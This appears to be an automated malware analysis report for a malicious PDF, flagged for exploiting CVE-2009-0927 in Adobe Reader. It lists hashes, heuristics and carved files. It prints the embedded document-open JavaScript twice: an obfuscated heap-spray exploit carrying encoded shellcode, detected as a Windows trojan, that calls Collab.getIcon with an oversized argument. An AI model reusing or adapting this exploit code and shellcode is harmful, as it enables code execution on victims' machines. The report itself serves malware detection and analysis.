Malicious PDF — malware analysis report

Static analysis result for SHA-256 c60049f17601544f…

MALICIOUS

PDF

143.4 KB First seen: 2015-09-30
MD5: 838f4208f680d2f04b0972fee40ffdc9 SHA-1: 641226e5354dd4f13c91a44e60584ae14912211f SHA-256: c60049f17601544f9c77f728caa04e7ff8f883c988aed55a446619793e3a1eb5
186 Risk Score

Malware Insights

MITRE ATT&CK
T1566.002 Spearphishing Attachment

The PDF is encrypted and contains only images, preventing static analysis of its content. This technique is often used to obscure malicious payloads or to present a deceptive interface. The 'PDF_IMAGE_ONLY_LURE' heuristic indicates the document is designed to look like a normal document but lacks textual content, which is a common tactic for phishing or malware delivery.

Machine Learning

  • Nyx PDF Classifier clean score 0.0013

Heuristics 5

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (matched in decompressed stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Encrypted PDF (string and stream contents are opaque to static scan) info PDF_ENCRYPTED
    PDF declares /Encrypt — string objects and stream contents are encrypted with the standard security handler (RC4 or AES). On its own this is informational; legitimate encrypted documents include signed contracts, billing statements, and rights-managed material. Static heuristics cannot inspect encrypted payload bytes.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.genarts.com/karl/papers/siggraph91.html In PDF document text
    • http://www.id.gu.se/palle/dokt/soundsunheardof.htmIn PDF document text
    • http://www.iec.chIn PDF document text

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0010_000.js pdf-javascript-stream PDF /JS object 10 at offset 0x159F 6229 bytes
SHA-256: 92b1edac06f7289d0f4df8283ae968204082eeced1f5304021edaf25ba8d497c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
//-------------------------------------------------------------
//-----------------Do not edit the XML tags--------------------
//-------------------------------------------------------------

//<Document-Actions>
//<ACRO_source>Document Open</ACRO_source>
//<ACRO_script>
/*********** belongs to: Document-Actions:Document Open ***********/
		var Y = unescape("%u2aa9%u76d5%uf919%u758d%ub93f%u247d%ue189%u883d%ue2d1%u982c%ub3b5%u9667%u059f%u7199%u494a%ua83c%u2566%u2db8%u7904%ub247%uf883%u431c%uba9b%ub646%u7097%u1d37%u3990%u7be0%u2f48%uf528%ubbbe%ub141%ubf27%u744e%ufc23%ub035%u914b%u7c93%u1440%u087a%u73d4%ub40c%u7e78%ufe6b%ud6c1%u770d%u7872%u1c74%ua8a9%u6924%u66f9%u7a3d%u7071%ue318%u7d76%ue231%u4e75%ub042%ue130%u2735%u461d%ud021%ubffd%u4ab1%u25ba%u34b7%u799b%u3f0c%ub2b6%u2fbe%u47b5%u9f40%uf81b%u05b3%u14b9%u2c7c%uf52b%u1abb%u4ffc%u93b8%ueb3b%u9967%u9892%u207f%u7ed5%u9704%u4b41%u8db4%u4973%uff81%uc0c6%u7be0%u0d43%ud486%u3715%u9096%u8491%u2dd6%u3c48%u2275%u41d5%u3540%u9691%uf801%ue111%ube04%u879b%u3cd6%u4277%ueb10%u7225%ub266%u67b7%u469f%u434a%u493d%ub398%u010d%u03e0%u4bf5%u0c2f%u0548%u7a2c%u097d%u0bf9%ufcd0%u9792%ubb4f%ud111%u4ee2%u7827%u2d71%u1373%u70fd%u157b%u7cb9%u377e%u99b4%u1db6%u1279%u47e3%u7fb0%u2476%u74b5%u3f1c%ubf90%ua9b1%uba8d%ud422%u9334%ub814%u7fa8%uf731%u77e3%u2c41%u217c%u75f8%u4972%u4897%ub190%u7174%u7d25%u9814%u274e%u1c91%u66b8%ud586%u8842%u70d6%u4b7b%ub792%u4ab6%u0c93%u8d96%u0443%u3247%u3ce2%u1537%u242f%u3fb0%uc019%u9bfd%u7a9f%u7673%u1d78%u20b9%u46d4%u30ba%u2dfc%ua834%u05b2%ua9bf%ub4bb%u4f99%u8967%u3af9%ue0d3%u3d7e%ub3b5%ue185%ube35%ueb39%u0d79%u8040%u7df5%u7377%ua846%u71b5%u2d76%u1d7a%u379b%u1a7c%u78eb%uc102%ua9f9%u3c75%u9f49%ue108%ufd33%u412c%u0db7%u2f48%u404b%u3447%u0470%u66ba%u2bb2%ubef8%u9867%ubbb1%ub925%u187b%u79e0%u9315%u0ab0%u14e3%u057f%u4e92%ue284%ud638%u6b42%u72d5%u743f%u963d%u7e8d%u9135%u101c%u7ef5%ue23b%u2470%u7cbf%ub327%ufc83%u4f7b%ue381%ub80c%u2374%u71d4%u994a%ub4b6%u9097%u297f%u43e1%u3d7a%ube1d%u7592%ub940%u4879%ud42a%uf669%u73d5%u992f%u98ba%u0477%u27bb%ue08c%ud224%u96d6%u4b15%ufd47%uf91b%u287d%u91fc%u972c%u49b4%u7641%u780d%ubf14%u3c35%u2d37%uf8b2%u43b8%ua94a%u7293%u8d0c%u4f4e%u6725%ub6b1%ub042%u9f66%u34f5%u461c%ub39b%u05eb%ub5a8%u90b7%ubf3f%u23d0%u8959%ucbda%u74d9%uf424%u295a%ub1c9%u3161%u127a%uea83%u03fc%u2daa%u7cbb%u22a1%u3561%u8a06%u70f3%u0d54%ub67c%u94ae%u4d9e%ua345%u59b6%u5366%ueeb9%u35d4%u96df%ub827%u01d8%uda3e%u4080%u4899%u8da0%u479c%u94d7%ub50f%u3496%u1fc5%ud40a%u819e%u4cb1%ua6b2%u0a7f%u3ad0%ua657%u4fbe%u7798%ubd76%u1280%ud0e4%ud1a7%u147f%u295d%u0492%u9362%u7976%uc0fe%uf5fd%u3fc0%ue4c6%uad94%ub517%u888f%ubeef%u7435%u6e45%u97b5%u9d08%u1d96%uf8b0%u6670%u665f%u84d8%u0dc6%uba83%u239b%ua15a%ud304%u9cb0%u4649%u6f74%ue064%u09ec%u4c6c%ue19b%u145f%u906d%ucb9c%ua830%u2cba%ueac3%u3523%ue9bd%ucc0c%ud271%u77ab%u0194%u6ea8%uc008%u8be9%u4a23%ueee7%u1538%u97cd%u1370%uca8f%u1917%u42d7%ufcdb%u37fa%ue0b9%ud1f8%u485b%u2b59%u4792%u6296%u9643%u674d%uefc9%ue147%u861f%u889e%u3451%u0c8a%udb5b%u4293%u2bc3%u54e8%ucace%ua9a5%u200f%u5942%u1c3a%ud4ee%uf985%u7168%uf924%ub499%uf433%u9f9b%u0439%udcb0%u1d28%uc3df%u0f51%u1b15%u3d43%u2855%u4e49%u2d4e%u4288%u2566%u458d%u741f%u81be%u68c3%u94c3%ub662%u99dd%u8a79%ub1ef%ued7d%udfed%uf8a8%u1df6%uf587%u35fc%u1ddf%u12e2%u0e86%u5708%u384c%u0138%u0e60%uef12%u7f8e%ue56a%u7898%ucb68%ua692%u2163%u81a6%ua21d%u4622%u096e%u89e5%u1af9%ufb8e%u8469%u6b06%u231b%u068b%uc2a8%uc730%u742d%u7d99%u59c1%ued84%uc74c%u8635%u74e1%u26cd%u5497%ubf48%u2902");
		var RXgqdQsTDqhSoAvLfrrMtdrpuEtQQELfcCLoHQ ="";
		for (ntJehKwdmCmSjTFfhfgddHiGudRhfHTubIbfgFU=128;ntJehKwdmCmSjTFfhfgddHiGudRhfHTubIbfgFU>=0;--ntJehKwdmCmSjTFfhfgddHiGudRhfHTubIbfgFU) RXgqdQsTDqhSoAvLfrrMtdrpuEtQQELfcCLoHQ += unescape("%u3c34%u48b1");
		e = RXgqdQsTDqhSoAvLfrrMtdrpuEtQQELfcCLoHQ + Y;
		xcbRaVUlVDRvKbcnpFHdmIkWPExzgCfgoBSMCDwztCGWLecWXuAWHBkPsMrImBBksncSrQZWICVIBYPznRJ = unescape("%u3c34%u48b1");
		ZVlnosGybvepljbSLazOBYjovlwdfEujK = 20;
		wTiZYkmJKrYYyexKynoTfSmLKzWJpmgWeQbTCPUWOrUgRQVnvEOqhISPFAcqjiRguiEgqRoup = ZVlnosGybvepljbSLazOBYjovlwdfEujK+e.length
		while (xcbRaVUlVDRvKbcnpFHdmIkWPExzgCfgoBSMCDwztCGWLecWXuAWHBkPsMrImBBksncSrQZWICVIBYPznRJ.length<wTiZYkmJKrYYyexKynoTfSmLKzWJpmgWeQbTCPUWOrUgRQVnvEOqhISPFAcqjiRguiEgqRoup) xcbRaVUlVDRvKbcnpFHdmIkWPExzgCfgoBSMCDwztCGWLecWXuAWHBkPsMrImBBksncSrQZWICVIBYPznRJ+=xcbRaVUlVDRvKbcnpFHdmIkWPExzgCfgoBSMCDwztCGWLecWXuAWHBkPsMrImBBksncSrQZWICVIBYPznRJ;
		NOarKBnLOQTTAbbUbQPTDZlQnShnKzeVloeTOngjgxNZAOKwtFXJZMihanIcoGyQVhprJjvEJUxclFfz = xcbRaVUlVDRvKbcnpFHdmIkWPExzgCfgoBSMCDwztCGWLecWXuAWHBkPsMrImBBksncSrQZWICVIBYPznRJ.substring(0, wTiZYkmJKrYYyexKynoTfSmLKzWJpmgWeQbTCPUWOrUgRQVnvEOqhISPFAcqjiRguiEgqRoup);
		wPLkAIusmtOmWWmLmWbmKqaVsxRchELJmvnfHuBmmsJXyrrzYeIRlisPQDRMlmOqLvSKoGmOjKZhnLbao = xcbRaVUlVDRvKbcnpFHdmIkWPExzgCfgoBSMCDwztCGWLecWXuAWHBkPsMrImBBksncSrQZWICVIBYPznRJ.substring(0, xcbRaVUlVDRvKbcnpFHdmIkWPExzgCfgoBSMCDwztCGWLecWXuAWHBkPsMrImBBksncSrQZWICVIBYPznRJ.length-wTiZYkmJKrYYyexKynoTfSmLKzWJpmgWeQbTCPUWOrUgRQVnvEOqhISPFAcqjiRguiEgqRoup);
		while(wPLkAIusmtOmWWmLmWbmKqaVsxRchELJmvnfHuBmmsJXyrrzYeIRlisPQDRMlmOqLvSKoGmOjKZhnLbao.length+wTiZYkmJKrYYyexKynoTfSmLKzWJpmgWeQbTCPUWOrUgRQVnvEOqhISPFAcqjiRguiEgqRoup < 0x40000) wPLkAIusmtOmWWmLmWbmKqaVsxRchELJmvnfHuBmmsJXyrrzYeIRlisPQDRMlmOqLvSKoGmOjKZhnLbao = wPLkAIusmtOmWWmLmWbmKqaVsxRchELJmvnfHuBmmsJXyrrzYeIRlisPQDRMlmOqLvSKoGmOjKZhnLbao+wPLkAIusmtOmWWmLmWbmKqaVsxRchELJmvnfHuBmmsJXyrrzYeIRlisPQDRMlmOqLvSKoGmOjKZhnLbao+NOarKBnLOQTTAbbUbQPTDZlQnShnKzeVloeTOngjgxNZAOKwtFXJZMihanIcoGyQVhprJjvEJUxclFfz;
		RmGpXQUBTOBmXJHHPFdijyXkGJGwMSycYPcIySRvzMIQaGXMyueJXIJZgi = new Array();
		for (OdTmZgck=0;OdTmZgck<1450;OdTmZgck++) RmGpXQUBTOBmXJHHPFdijyXkGJGwMSycYPcIySRvzMIQaGXMyueJXIJZgi[OdTmZgck] = wPLkAIusmtOmWWmLmWbmKqaVsxRchELJmvnfHuBmmsJXyrrzYeIRlisPQDRMlmOqLvSKoGmOjKZhnLbao + e;
		var MbPYjZGfmYOOPLKmhVwTCsNzBkfeFruhaoFtHRPqDvp = unescape("%0a");
		while(MbPYjZGfmYOOPLKmhVwTCsNzBkfeFruhaoFtHRPqDvp.length < 0x4000) MbPYjZGfmYOOPLKmhVwTCsNzBkfeFruhaoFtHRPqDvp+=MbPYjZGfmYOOPLKmhVwTCsNzBkfeFruhaoFtHRPqDvp;
		MbPYjZGfmYOOPLKmhVwTCsNzBkfeFruhaoFtHRPqDvp = "N."+MbPYjZGfmYOOPLKmhVwTCsNzBkfeFruhaoFtHRPqDvp;
		Collab.getIcon(MbPYjZGfmYOOPLKmhVwTCsNzBkfeFruhaoFtHRPqDvp);
					
//</ACRO_script>
//</Document-Actions>
javascript_obj0010_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 10 at offset 0x159F 1024 bytes
SHA-256: 59371f44571bd1b596ca02708ebaf5c3eaaccf5690eaa7f58f08bc4eefdaabcb
Detection
ClamAV: Win.Trojan.MSShellcode-6360729-4
Obfuscation or payload: unlikely
stream_074_off00020c87.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x20C87 69120 bytes
SHA-256: 4569ca225df3be65df1352eab0bd862f78ac1f32ea2da72b40316794d9312a52
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 10 at offset 0x159F 6227 bytes
SHA-256: 5ad94f7b28f7794564a605cf16119d0c38e629417300015176acad7dba946e22
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
//-------------------------------------------------------------
//-----------------Do not edit the XML tags--------------------
//-------------------------------------------------------------

//<Document-Actions>
//<ACRO_source>Document Open</ACRO_source>
//<ACRO_script>
/*********** belongs to: Document-Actions:Document Open ***********/
		var Y = unescape("%u2aa9%u76d5%uf919%u758d%ub93f%u247d%ue189%u883d%ue2d1%u982c%ub3b5%u9667%u059f%u7199%u494a%ua83c%u2566%u2db8%u7904%ub247%uf883%u431c%uba9b%ub646%u7097%u1d37%u3990%u7be0%u2f48%uf528%ubbbe%ub141%ubf27%u744e%ufc23%ub035%u914b%u7c93%u1440%u087a%u73d4%ub40c%u7e78%ufe6b%ud6c1%u770d%u7872%u1c74%ua8a9%u6924%u66f9%u7a3d%u7071%ue318%u7d76%ue231%u4e75%ub042%ue130%u2735%u461d%ud021%ubffd%u4ab1%u25ba%u34b7%u799b%u3f0c%ub2b6%u2fbe%u47b5%u9f40%uf81b%u05b3%u14b9%u2c7c%uf52b%u1abb%u4ffc%u93b8%ueb3b%u9967%u9892%u207f%u7ed5%u9704%u4b41%u8db4%u4973%uff81%uc0c6%u7be0%u0d43%ud486%u3715%u9096%u8491%u2dd6%u3c48%u2275%u41d5%u3540%u9691%uf801%ue111%ube04%u879b%u3cd6%u4277%ueb10%u7225%ub266%u67b7%u469f%u434a%u493d%ub398%u010d%u03e0%u4bf5%u0c2f%u0548%u7a2c%u097d%u0bf9%ufcd0%u9792%ubb4f%ud111%u4ee2%u7827%u2d71%u1373%u70fd%u157b%u7cb9%u377e%u99b4%u1db6%u1279%u47e3%u7fb0%u2476%u74b5%u3f1c%ubf90%ua9b1%uba8d%ud422%u9334%ub814%u7fa8%uf731%u77e3%u2c41%u217c%u75f8%u4972%u4897%ub190%u7174%u7d25%u9814%u274e%u1c91%u66b8%ud586%u8842%u70d6%u4b7b%ub792%u4ab6%u0c93%u8d96%u0443%u3247%u3ce2%u1537%u242f%u3fb0%uc019%u9bfd%u7a9f%u7673%u1d78%u20b9%u46d4%u30ba%u2dfc%ua834%u05b2%ua9bf%ub4bb%u4f99%u8967%u3af9%ue0d3%u3d7e%ub3b5%ue185%ube35%ueb39%u0d79%u8040%u7df5%u7377%ua846%u71b5%u2d76%u1d7a%u379b%u1a7c%u78eb%uc102%ua9f9%u3c75%u9f49%ue108%ufd33%u412c%u0db7%u2f48%u404b%u3447%u0470%u66ba%u2bb2%ubef8%u9867%ubbb1%ub925%u187b%u79e0%u9315%u0ab0%u14e3%u057f%u4e92%ue284%ud638%u6b42%u72d5%u743f%u963d%u7e8d%u9135%u101c%u7ef5%ue23b%u2470%u7cbf%ub327%ufc83%u4f7b%ue381%ub80c%u2374%u71d4%u994a%ub4b6%u9097%u297f%u43e1%u3d7a%ube1d%u7592%ub940%u4879%ud42a%uf669%u73d5%u992f%u98ba%u0477%u27bb%ue08c%ud224%u96d6%u4b15%ufd47%uf91b%u287d%u91fc%u972c%u49b4%u7641%u780d%ubf14%u3c35%u2d37%uf8b2%u43b8%ua94a%u7293%u8d0c%u4f4e%u6725%ub6b1%ub042%u9f66%u34f5%u461c%ub39b%u05eb%ub5a8%u90b7%ubf3f%u23d0%u8959%ucbda%u74d9%uf424%u295a%ub1c9%u3161%u127a%uea83%u03fc%u2daa%u7cbb%u22a1%u3561%u8a06%u70f3%u0d54%ub67c%u94ae%u4d9e%ua345%u59b6%u5366%ueeb9%u35d4%u96df%ub827%u01d8%uda3e%u4080%u4899%u8da0%u479c%u94d7%ub50f%u3496%u1fc5%ud40a%u819e%u4cb1%ua6b2%u0a7f%u3ad0%ua657%u4fbe%u7798%ubd76%u1280%ud0e4%ud1a7%u147f%u295d%u0492%u9362%u7976%uc0fe%uf5fd%u3fc0%ue4c6%uad94%ub517%u888f%ubeef%u7435%u6e45%u97b5%u9d08%u1d96%uf8b0%u6670%u665f%u84d8%u0dc6%uba83%u239b%ua15a%ud304%u9cb0%u4649%u6f74%ue064%u09ec%u4c6c%ue19b%u145f%u906d%ucb9c%ua830%u2cba%ueac3%u3523%ue9bd%ucc0c%ud271%u77ab%u0194%u6ea8%uc008%u8be9%u4a23%ueee7%u1538%u97cd%u1370%uca8f%u1917%u42d7%ufcdb%u37fa%ue0b9%ud1f8%u485b%u2b59%u4792%u6296%u9643%u674d%uefc9%ue147%u861f%u889e%u3451%u0c8a%udb5b%u4293%u2bc3%u54e8%ucace%ua9a5%u200f%u5942%u1c3a%ud4ee%uf985%u7168%uf924%ub499%uf433%u9f9b%u0439%udcb0%u1d28%uc3df%u0f51%u1b15%u3d43%u2855%u4e49%u2d4e%u4288%u2566%u458d%u741f%u81be%u68c3%u94c3%ub662%u99dd%u8a79%ub1ef%ued7d%udfed%uf8a8%u1df6%uf587%u35fc%u1ddf%u12e2%u0e86%u5708%u384c%u0138%u0e60%uef12%u7f8e%ue56a%u7898%ucb68%ua692%u2163%u81a6%ua21d%u4622%u096e%u89e5%u1af9%ufb8e%u8469%u6b06%u231b%u068b%uc2a8%uc730%u742d%u7d99%u59c1%ued84%uc74c%u8635%u74e1%u26cd%u5497%ubf48%u2902");
		var RXgqdQsTDqhSoAvLfrrMtdrpuEtQQELfcCLoHQ ="";
		for (ntJehKwdmCmSjTFfhfgddHiGudRhfHTubIbfgFU=128;ntJehKwdmCmSjTFfhfgddHiGudRhfHTubIbfgFU>=0;--ntJehKwdmCmSjTFfhfgddHiGudRhfHTubIbfgFU) RXgqdQsTDqhSoAvLfrrMtdrpuEtQQELfcCLoHQ += unescape("%u3c34%u48b1");
		e = RXgqdQsTDqhSoAvLfrrMtdrpuEtQQELfcCLoHQ + Y;
		xcbRaVUlVDRvKbcnpFHdmIkWPExzgCfgoBSMCDwztCGWLecWXuAWHBkPsMrImBBksncSrQZWICVIBYPznRJ = unescape("%u3c34%u48b1");
		ZVlnosGybvepljbSLazOBYjovlwdfEujK = 20;
		wTiZYkmJKrYYyexKynoTfSmLKzWJpmgWeQbTCPUWOrUgRQVnvEOqhISPFAcqjiRguiEgqRoup = ZVlnosGybvepljbSLazOBYjovlwdfEujK+e.length
		while (xcbRaVUlVDRvKbcnpFHdmIkWPExzgCfgoBSMCDwztCGWLecWXuAWHBkPsMrImBBksncSrQZWICVIBYPznRJ.length<wTiZYkmJKrYYyexKynoTfSmLKzWJpmgWeQbTCPUWOrUgRQVnvEOqhISPFAcqjiRguiEgqRoup) xcbRaVUlVDRvKbcnpFHdmIkWPExzgCfgoBSMCDwztCGWLecWXuAWHBkPsMrImBBksncSrQZWICVIBYPznRJ+=xcbRaVUlVDRvKbcnpFHdmIkWPExzgCfgoBSMCDwztCGWLecWXuAWHBkPsMrImBBksncSrQZWICVIBYPznRJ;
		NOarKBnLOQTTAbbUbQPTDZlQnShnKzeVloeTOngjgxNZAOKwtFXJZMihanIcoGyQVhprJjvEJUxclFfz = xcbRaVUlVDRvKbcnpFHdmIkWPExzgCfgoBSMCDwztCGWLecWXuAWHBkPsMrImBBksncSrQZWICVIBYPznRJ.substring(0, wTiZYkmJKrYYyexKynoTfSmLKzWJpmgWeQbTCPUWOrUgRQVnvEOqhISPFAcqjiRguiEgqRoup);
		wPLkAIusmtOmWWmLmWbmKqaVsxRchELJmvnfHuBmmsJXyrrzYeIRlisPQDRMlmOqLvSKoGmOjKZhnLbao = xcbRaVUlVDRvKbcnpFHdmIkWPExzgCfgoBSMCDwztCGWLecWXuAWHBkPsMrImBBksncSrQZWICVIBYPznRJ.substring(0, xcbRaVUlVDRvKbcnpFHdmIkWPExzgCfgoBSMCDwztCGWLecWXuAWHBkPsMrImBBksncSrQZWICVIBYPznRJ.length-wTiZYkmJKrYYyexKynoTfSmLKzWJpmgWeQbTCPUWOrUgRQVnvEOqhISPFAcqjiRguiEgqRoup);
		while(wPLkAIusmtOmWWmLmWbmKqaVsxRchELJmvnfHuBmmsJXyrrzYeIRlisPQDRMlmOqLvSKoGmOjKZhnLbao.length+wTiZYkmJKrYYyexKynoTfSmLKzWJpmgWeQbTCPUWOrUgRQVnvEOqhISPFAcqjiRguiEgqRoup < 0x40000) wPLkAIusmtOmWWmLmWbmKqaVsxRchELJmvnfHuBmmsJXyrrzYeIRlisPQDRMlmOqLvSKoGmOjKZhnLbao = wPLkAIusmtOmWWmLmWbmKqaVsxRchELJmvnfHuBmmsJXyrrzYeIRlisPQDRMlmOqLvSKoGmOjKZhnLbao+wPLkAIusmtOmWWmLmWbmKqaVsxRchELJmvnfHuBmmsJXyrrzYeIRlisPQDRMlmOqLvSKoGmOjKZhnLbao+NOarKBnLOQTTAbbUbQPTDZlQnShnKzeVloeTOngjgxNZAOKwtFXJZMihanIcoGyQVhprJjvEJUxclFfz;
		RmGpXQUBTOBmXJHHPFdijyXkGJGwMSycYPcIySRvzMIQaGXMyueJXIJZgi = new Array();
		for (OdTmZgck=0;OdTmZgck<1450;OdTmZgck++) RmGpXQUBTOBmXJHHPFdijyXkGJGwMSycYPcIySRvzMIQaGXMyueJXIJZgi[OdTmZgck] = wPLkAIusmtOmWWmLmWbmKqaVsxRchELJmvnfHuBmmsJXyrrzYeIRlisPQDRMlmOqLvSKoGmOjKZhnLbao + e;
		var MbPYjZGfmYOOPLKmhVwTCsNzBkfeFruhaoFtHRPqDvp = unescape("
");
		while(MbPYjZGfmYOOPLKmhVwTCsNzBkfeFruhaoFtHRPqDvp.length < 0x4000) MbPYjZGfmYOOPLKmhVwTCsNzBkfeFruhaoFtHRPqDvp+=MbPYjZGfmYOOPLKmhVwTCsNzBkfeFruhaoFtHRPqDvp;
		MbPYjZGfmYOOPLKmhVwTCsNzBkfeFruhaoFtHRPqDvp = "N."+MbPYjZGfmYOOPLKmhVwTCsNzBkfeFruhaoFtHRPqDvp;
		Collab.getIcon(MbPYjZGfmYOOPLKmhVwTCsNzBkfeFruhaoFtHRPqDvp);
					
//</ACRO_script>
//</Document-Actions>
icc_00_off0002dc64.icc pdf-icc-profile PDF ICC profile at offset 0x2DC64 3144 bytes
SHA-256: 2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e

Open this report in the interactive analyzer, or submit your own file for analysis.